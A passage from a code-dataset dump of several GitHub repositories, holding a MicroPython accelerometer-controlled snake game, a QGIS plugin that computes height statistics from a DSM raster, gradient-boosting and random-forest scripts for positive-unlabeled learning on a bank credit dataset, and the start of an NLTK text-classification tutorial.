"davidfang/dolphin", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport logging\nfrom settings import logging_config\n\n\nlogging.config.dictConfig(logging_config)\n\n" } ]
7
shanirub/blinkandtouch
https://github.com/shanirub/blinkandtouch
58b91871fe0322665ee04e634658497be4dc9e59
f4abc830c85e0e4c1b5e8afda1bfd73e114e08e7
858a3e88eee1d0f06d3d338ce7754a100d4f032a
refs/heads/master
2021-05-21T05:20:43.744635
2020-05-24T14:41:30
2020-05-24T14:41:30
252,563,457
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8208954930305481, "alphanum_fraction": 0.8208954930305481, "avg_line_length": 32.5, "blob_id": "f16b28a6678657c1d6a529a9dd7e6d1a72d6067a", "content_id": "a31bc611c4c3090156d41be1a2eec9f5f495eefb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 67, "license_type": "no_license", "max_line_length": 50, "num_lines": 2, "path": "/README.md", "repo_name": "shanirub/blinkandtouch", "src_encoding": "UTF-8", "text": "# blinkandtouch\na snake game with accel control instead of buttons\n" }, { "alpha_fraction": 0.5047528743743896, "alphanum_fraction": 0.5280418395996094, "avg_line_length": 37.96296310424805, "blob_id": "03cc034aef68e86573f3065ad4b5290af77a5c99", "content_id": "265108c97e5a161c9cf332f564e0aa27cc91c9bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2104, "license_type": "no_license", "max_line_length": 103, "num_lines": 54, "path": "/main.py", "repo_name": "shanirub/blinkandtouch", "src_encoding": "UTF-8", "text": "import pyb\nfrom random import randint\nimport lcd160cr\nlcd = lcd160cr.LCD160CR('X')\naccel = pyb.Accel()\n\nSENSITIVITY = 2 # minimal sensitivity for the accel\nWIDTH = 12 # food and moving rect width and height\n\nbg = lcd.rgb(255, 255, 255) # background color = white\nrect_fill_color = lcd.rgb(255, 0, 127) # moving rect fill color = pink\nrect_line_color = lcd.rgb(255, 0, 0) # moving rect line color\n\nrect_x = lcd.w / 2 # initial x value for rect\nrect_y = lcd.h / 2 # initial y value for rect\n\nfood_x = randint(0, lcd.w - WIDTH) # initial x value for first food\nfood_y = randint(0, lcd.h - WIDTH) # initial y value for first food\nif food_x % 2 != 0:\n food_x += 1\nif food_y % 2 != 0:\n food_y += 1\n\nfood_color = lcd.rgb(0, 0 ,0) # food color = black (to be used for both line and fill colors)\n\ndraw_food = True # do we need to draw the food?\n\nwhile True:\n lcd.set_pen(rect_line_color, bg) \n lcd.erase() # backgroud is set to white\n lcd.set_pen(rect_line_color, rect_fill_color)\n lcd.rect(int(rect_x), int(rect_y), WIDTH, WIDTH) # rect is drawn with its colots and x,y values\n\n x = accel.x() # accel objects\n y = accel.y()\n\n if abs(x) > SENSITIVITY: # identifing movement in x axis\n rect_x += x \n\n if abs(y) > SENSITIVITY: # identifing movement in y axis\n rect_y -= y\n\n if draw_food: # drawing the food\n lcd.set_pen(food_color, food_color)\n lcd.rect(int(food_x), int(food_y), WIDTH, WIDTH)\n\n # if (rect_x >= food_x and rect_x <= food_x + WIDTH and rect_y >= food_y and rect_y <= food_y):\n if abs(rect_x - food_x) < WIDTH and abs(rect_y - food_y) < WIDTH:\n lcd.set_pen(rect_line_color, rect_fill_color)\n lcd.erase()\n lcd.write(\"very good\")\n break\n\n pyb.delay(200)\n" } ]
2
gusbacos/UAVPreparer
https://github.com/gusbacos/UAVPreparer
97a7a95496db66fb17fcf30a8e4d74e1b52a9adc
171b08af2aae2e19f467bf5efbefa679eabeb612
0a3a2e133dd26b45dfede937d54d24cf700dc82e
refs/heads/main
2023-04-23T11:47:51.048575
2021-05-06T08:13:43
2021-05-06T08:13:43
364,549,559
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5849704742431641, "alphanum_fraction": 0.5889348983764648, "avg_line_length": 35.03491973876953, "blob_id": "b2805123683c814abc728074f19fbaaf5f0ee02d", "content_id": "45e32d55a6f6f0d6f5ffdff95b95dc1febb1e2cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11351, "license_type": "no_license", "max_line_length": 118, "num_lines": 315, "path": "/uav_preparer/uav_preparer.py", "repo_name": "gusbacos/UAVPreparer", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n/***************************************************************************\n UAVPreparer\n A QGIS plugin\n this plugin examines height properties on a DSM\n Generated by Plugin Builder: http://g-sherman.github.io/Qgis-Plugin-Builder/\n -------------------\n begin : 2021-05-05\n git sha : $Format:%H$\n copyright : (C) 2021 by oskar bรคcklin Gu\n email : [email protected]\n ***************************************************************************/\n\n/***************************************************************************\n * *\n * This program is free software; you can redistribute it and/or modify *\n * it under the terms of the GNU General Public License as published by *\n * the Free Software Foundation; either version 2 of the License, or *\n * (at your option) any later version. *\n * *\n ***************************************************************************/\n\"\"\"\nfrom qgis.PyQt.QtCore import QSettings, QTranslator, QCoreApplication\nfrom qgis.PyQt.QtGui import QIcon\nfrom qgis.PyQt.QtWidgets import QFileDialog, QAction, QMessageBox\nfrom qgis.gui import QgsMapLayerComboBox, QgsFieldComboBox, QgsMessageBar\nfrom qgis.core import QgsVectorLayer, QgsMapLayerProxyModel, QgsFieldProxyModel, Qgis\nimport numpy as np\nfrom osgeo import gdal\n# Initialize Qt resources from file resources.py\nfrom .resources import *\n# Import the code for the dialog\nfrom .uav_preparer_dialog import UAVPreparerDialog\nimport os.path\nimport webbrowser\n\n\nclass UAVPreparer:\n \"\"\"QGIS Plugin Implementation.\"\"\"\n\n def __init__(self, iface):\n \"\"\"Constructor.\n\n :param iface: An interface instance that will be passed to this class\n which provides the hook by which you can manipulate the QGIS\n application at run time.\n :type iface: QgsInterface\n \"\"\"\n # Save reference to the QGIS interface\n self.iface = iface\n # initialize plugin directory\n self.plugin_dir = os.path.dirname(__file__)\n # initialize locale\n locale = QSettings().value('locale/userLocale')[0:2]\n locale_path = os.path.join(\n self.plugin_dir,\n 'i18n',\n 'UAVPreparer_{}.qm'.format(locale))\n\n if os.path.exists(locale_path):\n self.translator = QTranslator()\n self.translator.load(locale_path)\n QCoreApplication.installTranslator(self.translator)\n\n # Declare instance attributes\n self.actions = []\n self.menu = self.tr(u'&UAV Preparer')\n\n # Check if plugin was started the first time in current QGIS session\n # Must be set in initGui() to survive plugin reloads\n self.first_start = None\n\n # Declare Variables\n self.outputfile = None\n\n # noinspection PyMethodMayBeStatic\n def tr(self, message):\n \"\"\"Get the translation for a string using Qt translation API.\n\n We implement this ourselves since we do not inherit QObject.\n\n :param message: String for translation.\n :type message: str, QString\n\n :returns: Translated version of message.\n :rtype: QString\n \"\"\"\n # noinspection PyTypeChecker,PyArgumentList,PyCallByClass\n return QCoreApplication.translate('UAVPreparer', message)\n\n\n def add_action(\n self,\n icon_path,\n text,\n callback,\n enabled_flag=True,\n add_to_menu=True,\n add_to_toolbar=True,\n status_tip=None,\n whats_this=None,\n parent=None):\n \"\"\"Add a toolbar icon to the toolbar.\n\n :param icon_path: Path to the icon for this action. Can be a resource\n path (e.g. ':/plugins/foo/bar.png') or a normal file system path.\n :type icon_path: str\n\n :param text: Text that should be shown in menu items for this action.\n :type text: str\n\n :param callback: Function to be called when the action is triggered.\n :type callback: function\n\n :param enabled_flag: A flag indicating if the action should be enabled\n by default. Defaults to True.\n :type enabled_flag: bool\n\n :param add_to_menu: Flag indicating whether the action should also\n be added to the menu. Defaults to True.\n :type add_to_menu: bool\n\n :param add_to_toolbar: Flag indicating whether the action should also\n be added to the toolbar. Defaults to True.\n :type add_to_toolbar: bool\n\n :param status_tip: Optional text to show in a popup when mouse pointer\n hovers over the action.\n :type status_tip: str\n\n :param parent: Parent widget for the new action. Defaults None.\n :type parent: QWidget\n\n :param whats_this: Optional text to show in the status bar when the\n mouse pointer hovers over the action.\n\n :returns: The action that was created. Note that the action is also\n added to self.actions list.\n :rtype: QAction\n \"\"\"\n\n icon = QIcon(icon_path)\n action = QAction(icon, text, parent)\n action.triggered.connect(callback)\n action.setEnabled(enabled_flag)\n\n if status_tip is not None:\n action.setStatusTip(status_tip)\n\n if whats_this is not None:\n action.setWhatsThis(whats_this)\n\n if add_to_toolbar:\n # Adds plugin icon to Plugins toolbar\n self.iface.addToolBarIcon(action)\n\n if add_to_menu:\n self.iface.addPluginToMenu(\n self.menu,\n action)\n\n self.actions.append(action)\n\n return action\n\n def initGui(self):\n \"\"\"Create the menu entries and toolbar icons inside the QGIS GUI.\"\"\"\n\n icon_path = ':/plugins/uav_preparer/icon.png'\n self.add_action(\n icon_path,\n text=self.tr(u''),\n callback=self.run,\n parent=self.iface.mainWindow())\n\n # will be set False in run()\n self.first_start = True\n\n\n def unload(self):\n \"\"\"Removes the plugin menu item and icon from QGIS GUI.\"\"\"\n for action in self.actions:\n self.iface.removePluginMenu(\n self.tr(u'&UAV Preparer'),\n action)\n self.iface.removeToolBarIcon(action)\n\n\n def run(self):\n \"\"\"Run method that performs all the real work\"\"\"\n\n # Create the dialog with elements (after translation) and keep reference\n # Only create GUI ONCE in callback, so that it will only load when the plugin is started\n if self.first_start == True:\n self.first_start = False\n self.dlg = UAVPreparerDialog()\n\n # Access the raster layer\n self.layerComboManagerDSM = QgsMapLayerComboBox(self.dlg.widgetDSM)\n self.layerComboManagerDSM.setFilters(QgsMapLayerProxyModel.RasterLayer)\n self.layerComboManagerDSM.setFixedWidth(175)\n self.layerComboManagerDSM.setCurrentIndex(-1)\n\n # Access the vector layer and an attribute field\n self.layerComboManagerPoint = QgsMapLayerComboBox(self.dlg.widgetPointLayer)\n self.layerComboManagerPoint.setCurrentIndex(-1)\n self.layerComboManagerPoint.setFilters(QgsMapLayerProxyModel.PointLayer)\n self.layerComboManagerPoint.setFixedWidth(175)\n self.layerComboManagerPointField = QgsFieldComboBox(self.dlg.widgetField)\n self.layerComboManagerPointField.setFilters(QgsFieldProxyModel.Numeric)\n self.layerComboManagerPoint.layerChanged.connect(self.layerComboManagerPointField.setLayer)\n\n # Set up of file save dialog\n self.fileDialog = QFileDialog()\n self.dlg.pushButtonSave.clicked.connect(self.savefile)\n\n # Set up for the Help button\n self.dlg.helpButton.clicked.connect(self.help)\n\n # Set up for the run button\n self.dlg.runButton.clicked.connect(self.start_progress)\n\n # Show the dialog\n self.dlg.show()\n\n #run the dialog event loop\n result = self.dlg.exec_()\n\n # See if OK was pressed\n if result:\n # Do something useful here - delete the line containng pass and \n # substitute with your code.\n pass\n\n # show the dialog\n self.dlg.show()\n # Run the dialog event loop\n result = self.dlg.exec_()\n # See if OK was pressed\n if result:\n # Do something useful here - delete the line containing pass and\n # substitute with your code.\n pass\n \n def savefile(self):\n self.outputfile = self.fileDialog.getSaveFileName(None, \"Save File As:\", None, \"Text Files (*.txt)\")\n self.dlg.textOutput.setText(self.outputfile[0])\n\n def help(self):\n url = \"https://github.com/gusbacos/UAVPreparer\"\n webbrowser.open_new_tab(url)\n\n def start_progress(self):\n if not self.outputfile:\n QMessageBox.critical(None, \"error allt e hemskt\")\n return\n\n # Aquire geodata anm attributes \n dsm_layer = self.layerComboManagerDSM.currentLayer()\n if dsm_layer is None: \n QMessageBox.critical(None, \"Error\",'No valid raster layer is selected')\n return\n else:\n provider = dsm_layer.dataProvider()\n filepath_dsm = str(provider.dataSourceUri())\n\n point_layer = self.layerComboManagerPoint.currentLayer()\n if point_layer is None: \n QMessageBox.critical(None, \"Error\",'No valid vector layer is selected')\n return\n else:\n vlayer = QgsVectorLayer(point_layer.source(), \"polygon\", \"ogr\")\n\n point_field = self.layerComboManagerPointField.currentField()\n idx = vlayer.fields().indexFromName(point_field)\n if idx == -1:\n QMessageBox.critical(None, \"Errop\", \"An attribute with unique fields must be selected\")\n return\n\n r = 100\n\n numfeat = vlayer.featureCount()\n result = np.zeros([numfeat, 4])\n\n bigraster = gdal.Open(filepath_dsm)\n filepath_tempdsm = self.plugin_dir + \"/clipdsm.tif\"\n\n self.dlg.progressBar.setRange(0, numfeat)\n i = 0\n\n for f in vlayer.getFeatures():\n self.dlg.progressBar.setValue(i + 1)\n\n y = f.geometry().centroid().asPoint().y()\n x = f.geometry().centroid().asPoint().x()\n\n bbox = (x - r, y + r, x + r, y - r)\n gdal.Translate(filepath_tempdsm, bigraster, projWin = bbox)\n data = gdal.Open(filepath_tempdsm)\n mat = np.array(data.ReadAsArray())\n\n result[i, 0] = int(f.attributes()[idx])\n result[i, 1] = np.mean(mat)\n result[i, 2] = np.max(mat)\n result[i, 3] = np.min(mat)\n\n i = i + 1\n\n # Saving to file\n numformat = '%d ' + '%6.2f ' * 3\n headertext = 'id mean max min'\n np.savetxt(self.outputfile[0], result, fmt = numformat, delimiter = ' ', header = headertext) \n\n self.iface.messageBar().pushMessage('UAV Preparer. Operation successful!', level = Qgis.Success, duration =5 )\n" } ]
1
ChristianSchuessler/Robot-Project
https://github.com/ChristianSchuessler/Robot-Project
666644a0b5391665360fde14c33180f600c66b79
1abf05f5f8c73ee5f549591428d5ef3b1fdd5e6a
e7763867e5324bec9d8785cef3d2897ee33456c6
refs/heads/master
2020-03-22T14:11:10.812389
2018-08-19T14:21:56
2018-08-19T14:21:56
140,159,326
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7431372404098511, "alphanum_fraction": 0.7686274647712708, "avg_line_length": 21.909090042114258, "blob_id": "90db75c8dfc4c1fd222a6ce624f93a075471e75f", "content_id": "d3e3e7735bdbf4168b819bf586225e2e15fdb874", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 517, "license_type": "no_license", "max_line_length": 88, "num_lines": 22, "path": "/doc/ToDo.txt", "repo_name": "ChristianSchuessler/Robot-Project", "src_encoding": "UTF-8", "text": "Nรคchstes treffen 5. August 2018\n\nBis dahin, versucht Chris das Zeug soweit \"zum laufen\" zu bringen.\nStefan bringt sich Python bei\n\nMaterial:\n- Lรถtkolben\n- Multimeter\n\n\n2018-08-05\n==========\n\nnรคchster Meilenstein: \n- Roboter soll autark fahren kรถnnen. Also mit Akku/batterie ohne externen Stromanschluss\n- Abstandssensor kann angesteuert und ausgewertet werden\n\nToDos:\n- Platine fรผr Treiber-IC lรถten\n- Rpi รผbers Netzwerk steuern\n- Rpi mit Akku bzw Batterien mit Strom vesorgen\n- Daten von Sensor auslesen\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.8063063025474548, "alphanum_fraction": 0.8108108043670654, "avg_line_length": 39.3636360168457, "blob_id": "c6ca04b369c2219d1d94129da727c4c5973efb59", "content_id": "5c5cf0d56575c089dc09a4041db37c21071da7c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 446, "license_type": "no_license", "max_line_length": 105, "num_lines": 11, "path": "/Readme.md", "repo_name": "ChristianSchuessler/Robot-Project", "src_encoding": "UTF-8", "text": "# Robot-Project\n\nWir(mein Bruder Stefan und ich) wollen zusammen einen Roboter bauen. Der im ersten Schritt nur \"rumfahren\" kann.\nAm Anfang wollen wir dieses Tutorial:\nhttps://tutorials-raspberrypi.de/raspberry-pi-roboter-bausatz-zusammenbau/\numsetzen um erstmal reinzukommen.\n\nAnschlieรŸend wollen wir uns weitere Dinge รผberlegen.\n\n## Weitere Quellen\nhttps://tutorials-raspberrypi.de/raspberry-pi-sensoren-uebersicht-die-50-wichtigsten-module/#motion\n" }, { "alpha_fraction": 0.5912408828735352, "alphanum_fraction": 0.6751824617385864, "avg_line_length": 14.222222328186035, "blob_id": "8911a21cf020806140c34717a4a88f006812166a", "content_id": "560080989cc74acecb4d953ca9d7e07f4b946de3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 274, "license_type": "no_license", "max_line_length": 29, "num_lines": 18, "path": "/src/robot-run.py", "repo_name": "ChristianSchuessler/Robot-Project", "src_encoding": "UTF-8", "text": "\nimport RPi.GPIO as GPIO\nimport time\nfrom l293d import L293D\n \nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\nprint(\"robot will run...\\n\");\n \nl = L293D(17,27,23,24)\nl.stop()\n \nfor i in range(20):\n l.forward()\n time.sleep(0.5)\n l.forwardRight()\n time.sleep(0.5)\nl.stop()" } ]
3
Creature-03/Reddit-Bot-Customizable
https://github.com/Creature-03/Reddit-Bot-Customizable
107a5f6a9d25071692e9811834551c7e4407768c
66252f0b3b243abebd1058db0576b648c03f7ce9
829de733045f6caaa93fd5eb3156e40d439b53fd
refs/heads/main
2023-02-19T19:29:23.679992
2021-01-16T05:04:33
2021-01-16T05:04:33
330,088,821
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.594629168510437, "alphanum_fraction": 0.5991048812866211, "avg_line_length": 39.128204345703125, "blob_id": "495755434c4e390fc1e6f378cd237eb5c8360cf7", "content_id": "c4ea800fd0de39c5cac3353ff3f94c064747f8c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1564, "license_type": "no_license", "max_line_length": 189, "num_lines": 39, "path": "/main.py", "repo_name": "Creature-03/Reddit-Bot-Customizable", "src_encoding": "UTF-8", "text": "#praw = Python Reddit API Wrapper\nimport praw\nimport random\nimport time\n\n#create an instance of reddit, fill in the credentials according to your Reddit API registration and OAuth verification(For info on how to obtain your refresh token see PRAW documentation.)\nreddit = praw.Reddit(client_id = '', \n client_secret = '', \n user_agent = '', \n redirect_uri = '', \n refresh_token = '', \n username = '', \n password = '')\n\n#define what subreddit/s to search\nsub = reddit.subreddit('')\n\n#list of possible replies\nreplies = ['']\n\n#define which posts to the subreddit to pull(remember to set a limit unless you want to pull all of reddit history)\nfor post in sub.rising(limit = 10):\n print(post.title)\n\n #loop through the comments on the post and search for a trigger phrase\n for comment in post.comments:\n if hasattr(comment, 'body'):\n comment_lower = comment.body.lower()\n #define the trigger phrase\n trigger = ''\n \n #if the trigger phrase was found, pull a random reply from replies list\n if trigger in comment_lower:\n random_index = random.randint(0, len(replies) - 1)\n \n #post a reply to the comment containing the trigger phrase using a random object from replies list\n comment.reply(replies[random_index])\n #sleep for a bit so you dont get banned for spam\n time.sleep(600)" } ]
1
niuwan1/PU-gbdt
https://github.com/niuwan1/PU-gbdt
4b8f680c392279e370ad8c9fa9507830c3037730
e4d3f3783a3db0a0cdc5b88469525f85fc9e7e99
df7bb92372ac22ca0ac51695552f42429e23d5f8
refs/heads/master
2022-09-19T20:58:54.005220
2020-06-06T00:31:27
2020-06-06T00:31:27
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6359077095985413, "alphanum_fraction": 0.6419257521629333, "avg_line_length": 27.514286041259766, "blob_id": "f5b539546d03d1ca8ec87cd4f1018c40607c2b8f", "content_id": "0aefd64877a3423742e2342629a4cc469b1c7df4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 997, "license_type": "no_license", "max_line_length": 76, "num_lines": 35, "path": "/PU-gbdt-code/script/RF.py", "repo_name": "niuwan1/PU-gbdt", "src_encoding": "UTF-8", "text": "from sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_auc_score, accuracy_score\nfrom sklearn.ensemble import RandomForestClassifier\nimport pandas as pd\ndef main():\n\n print (\"-- Gradient Boosting Classification --\")\n\n path = '/Users/junowang/Desktop/PU-gbdt-code/data/test_new.csv'\n data = pd.read_csv(path, header=0, encoding = \"utf-8\")\n print(data.info())\n y = data['label']\n data = data.drop('label',axis = 1)\n X = data\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4)\n clf = RandomForestClassifier()\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n print(y_pred)\n accuracy = accuracy_score(y_test, y_pred)\n auc = roc_auc_score(y_test,y_pred)\n\n print (\"Accuracy:\", accuracy)\n print('AUC', auc)\n\n # Plot().plot_in_2d(X_test, y_pred,\n #title=\"Gradient Boosting\",\n #accuracy=accuracy,\n #legend_labels=data.target_names)\n\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5937731862068176, "alphanum_fraction": 0.6056337952613831, "avg_line_length": 26, "blob_id": "c29fffc68d0db89ad2f82d1e8c5827cee0333b2d", "content_id": "122e68e62415499bfb14b1a6fda4935c8e7bdc32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1349, "license_type": "no_license", "max_line_length": 76, "num_lines": 50, "path": "/PU-gbdt-code/script/gbdt-supervised.py", "repo_name": "niuwan1/PU-gbdt", "src_encoding": "UTF-8", "text": "from sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_auc_score, accuracy_score\nfrom sklearn.ensemble import GradientBoostingClassifier\nimport pandas as pd\ndef main():\n\n print (\"-- Gradient Boosting Classification --\")\n\n path = '/Users/junowang/Desktop/PU-gbdt-code/data/test_new.csv'\n data = pd.read_csv(path, header=0, encoding = \"utf-8\")\n print(data.info())\n y = data['label']\n data = data.drop('label',axis = 1)\n X = data\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4)\n gbdt = GradientBoostingClassifier(\n loss='deviance'\n , learning_rate=0.1\n , n_estimators=100\n , subsample=1\n , min_samples_split=2\n , min_samples_leaf=1\n , max_depth=3\n , init=None\n , random_state=None\n , max_features=None\n , verbose=0\n , max_leaf_nodes=None\n , warm_start=False\n )\n gbdt.fit(X_train, y_train)\n y_pred = gbdt.predict(X_test)\n print(y_pred)\n accuracy = accuracy_score(y_test, y_pred)\n auc = roc_auc_score(y_test,y_pred)\n\n print (\"Accuracy:\", accuracy)\n print('AUC', auc)\n\n\n # Plot().plot_in_2d(X_test, y_pred,\n #title=\"Gradient Boosting\",\n #accuracy=accuracy,\n #legend_labels=data.target_names)\n\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5476190447807312, "alphanum_fraction": 0.625, "avg_line_length": 39.75757598876953, "blob_id": "3489bd63adcf257649390ce6414b75088693fc21", "content_id": "5523072b32efd94076b9b8b5e671bda96c1a4beb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1362, "license_type": "no_license", "max_line_length": 103, "num_lines": 33, "path": "/PU-gbdt-code/script/fig_testloss.py", "repo_name": "niuwan1/PU-gbdt", "src_encoding": "UTF-8", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport pandas as pd\n\n# ๆ•ฐๆฎ้›†\npath = '/Users/junowang/Desktop/gbdt-code/output/testloss.xls'\ndata1 = pd.read_excel(path, sheet_name='step1')\ndata2 = pd.read_excel(path, sheet_name= 'step2')\ndata1[['t1','t2','t3','t4','t5']] = np.exp(data1[['t1','t2','t3','t4','t5']]*100)\ndata2[['t1','t2','t3','t4','t5']] = np.exp(data2[['t1','t2','t3','t4','t5']]*100)\n# ็ป˜็”ปๆŠ˜็บฟๅ›พ๏ผš\nf, axes = plt.subplots(2, 1, figsize=(15, 10))\nfor ylabel in ['t1','t2','t3','t4','t5']:\n #axes[0].set_xscale(\"log\")data1[['t1','t2','t3','t4','t5']] = data1[['t1','t2','t3','t4','t5']]*100\n #axes[0].set_yscale(\"log\")\n sns.regplot(\"itera\", ylabel, data1, ax=axes[0], scatter_kws={\"s\": 35}, label = ylabel)\nfor ylabel in ['t1', 't2', 't3', 't4', 't5']:\n #axes[0].set_yscale(\"log\")\n sns.regplot(\"itera\", ylabel, data2, ax=axes[1], scatter_kws={\"s\": 35}, label = ylabel)\naxes[0].legend(loc='right')\naxes[1].legend(loc='right')\naxes[0].set_title('step = 0.01')\naxes[1].set_title('step = 0.03')\naxes[0].xaxis.set_ticks_position('bottom')\naxes[1].xaxis.set_ticks_position('bottom')\naxes[1].set_xlabel('Iteration')\naxes[1].set_ylabel('exp(testloss)')\naxes[0].set_xlabel(' ')\naxes[0].set_ylabel('exp(testloss)')\naxes[0].set_xticks(np.linspace(1,20,20))\naxes[1].set_xticks(np.linspace(1,20,20))\nplt.show()" }, { "alpha_fraction": 0.6299694180488586, "alphanum_fraction": 0.6472986936569214, "avg_line_length": 43.6363639831543, "blob_id": "81332e6b3b5d3fa79f39d64fa64247138f452972", "content_id": "eb8f22848aa156915f4b57fefdc2e663c646c522", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 981, "license_type": "no_license", "max_line_length": 107, "num_lines": 22, "path": "/PU-gbdt-code/script/preprocess.py", "repo_name": "niuwan1/PU-gbdt", "src_encoding": "UTF-8", "text": "import pandas as pd\npath = '/Users/junowang/Desktop/gbdt-code/data/test.csv'\ndf = pd.read_csv(path, header=0, encoding = \"utf-8\")\n#df_raw[~pos_index]['label'] = -1\n#df_raw.to_csv('/Users/junowang/Desktop/gbdt-code/data/data_for_tongji.csv',index=False,encoding = \"utf-8\")\nfor id in df.index:\n if df.loc[id, 'label'] == 0.0:\n df.loc[id, 'label'] = 1\n else:\n df.loc[id, 'label'] = -1\ndf.to_csv('/Users/junowang/Desktop/gbdt-code/data/data_for_tongji.csv',index=False,encoding = \"utf-8\")\n\npath = '/Users/junowang/Desktop/gbdt-code/data/test.csv'\ndf = pd.read_csv(path, header=0, encoding = \"utf-8\")\n#df_raw[~pos_index]['label'] = -1\n#df_raw.to_csv('/Users/junowang/Desktop/gbdt-code/data/data_for_tongji.csv',index=False,encoding = \"utf-8\")\nfor id in df.index:\n if df.loc[id, 'label'] == 0:\n df.loc[id, 'label'] = 1\n else:\n df.loc[id, 'label'] = -1\ndf.to_csv('/Users/junowang/Desktop/gbdt-code/data/test_new.csv',index=False,encoding = \"utf-8\")" }, { "alpha_fraction": 0.8062015771865845, "alphanum_fraction": 0.8062015771865845, "avg_line_length": 63.5, "blob_id": "831d0b40f6eb1f16f2b15c8035ccbc163f180ac2", "content_id": "1d9205fe94b304e211ea0c7365f8629ecd97bc36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 129, "license_type": "no_license", "max_line_length": 118, "num_lines": 2, "path": "/README.md", "repo_name": "niuwan1/PU-gbdt", "src_encoding": "UTF-8", "text": "# PU-gbdt\nConvert the loss function in gbdt to PU-Learning loss function and use the classifier to predict a bank credit dataset\n" }, { "alpha_fraction": 0.6112600564956665, "alphanum_fraction": 0.622654139995575, "avg_line_length": 25.192981719970703, "blob_id": "6ecbcd53885f2a31729092638447481dd2972541", "content_id": "a4819e17d5c67bebe34bf7a6e21e4c8842f5ef3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1492, "license_type": "no_license", "max_line_length": 76, "num_lines": 57, "path": "/PU-gbdt-code/Machine-Learning-From-Scratch-master/gradient_boosting_decision_tree/gbdt_classifier_example.py", "repo_name": "niuwan1/PU-gbdt", "src_encoding": "UTF-8", "text": "from __future__ import division, print_function\nimport numpy as np\nfrom sklearn import datasets\nimport matplotlib.pyplot as plt\n\n# Import helper functions\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import roc_auc_score, accuracy_score\nfrom sklearn.ensemble import GradientBoostingRegressor\nimport pandas as pd\ndef main():\n\n print (\"-- Gradient Boosting Classification --\")\n\n path = '/Users/junowang/Desktop/gbdt-code/data/test_new.csv'\n data = pd.read_csv(path, header=0, encoding = \"utf-8\")\n print(data.head())\n print(data.head)\n y = data['label']\n X = data.drop('label')\n\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4)\n gbdt = GradientBoostingRegressor(\n loss='ls'\n , learning_rate=0.1\n , n_estimators=100\n , subsample=1\n , min_samples_split=2\n , min_samples_leaf=1\n , max_depth=3\n , init=None\n , random_state=None\n , max_features=None\n , alpha=0.9\n , verbose=0\n , max_leaf_nodes=None\n , warm_start=False\n )\n gbdt.fit(X_train, y_train)\n y_pred = gbdt.predict(X_test)\n\n accuracy = accuracy_score(y_test, y_pred)\n auc = roc_auc_score(y_test,y_pred)\n\n print (\"Accuracy:\", accuracy)\n print('AUC', auc)\n\n\n # Plot().plot_in_2d(X_test, y_pred,\n #title=\"Gradient Boosting\",\n #accuracy=accuracy,\n #legend_labels=data.target_names)\n\n\n\nif __name__ == \"__main__\":\n main()" } ]
6
MonsieurShaik/nltk-tutorials
https://github.com/MonsieurShaik/nltk-tutorials
95b3ee88311cf0abc3479b67467f71534d8260eb
fa3361dc3f939629ec925c7cb5aa5b6092e16e6f
9197a63774ea1e1ddda73c3cbff953fd7fdda9bc
refs/heads/master
2018-02-09T12:35:55.550063
2017-07-11T07:24:16
2017-07-11T07:24:16
96,747,196
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.8166666626930237, "avg_line_length": 44, "blob_id": "a1eb3181acb184d738f968d7c131abe9344f1cbe", "content_id": "e2a564a6a95de2a6197327fe02db55f3985be6d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 180, "license_type": "no_license", "max_line_length": 83, "num_lines": 4, "path": "/README.md", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "# nltk-tutorials\nAll the code that I write while taking NLTK tutorials.\n# The course I'm taking\nhttps://www.youtube.com/watch?v=FLZvOKSCkxY&list=PLQVvvaa0QuDf2JswnfiGkliBInZnIC4HL\n" }, { "alpha_fraction": 0.7065368294715881, "alphanum_fraction": 0.7121001482009888, "avg_line_length": 27.799999237060547, "blob_id": "2224ddd07117642d8cb6307d3912b2f0053adfa5", "content_id": "a9478611d6b3535304f1136dd862742b7d160ef0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 70, "num_lines": 25, "path": "/tutorial-code/nltk-text-classification.py", "repo_name": "MonsieurShaik/nltk-tutorials", "src_encoding": "UTF-8", "text": "import nltk\nimport random\nfrom nltk.corpus import movie_reviews\n\ndocument = [(list(movie_reviews.words(fileid)), 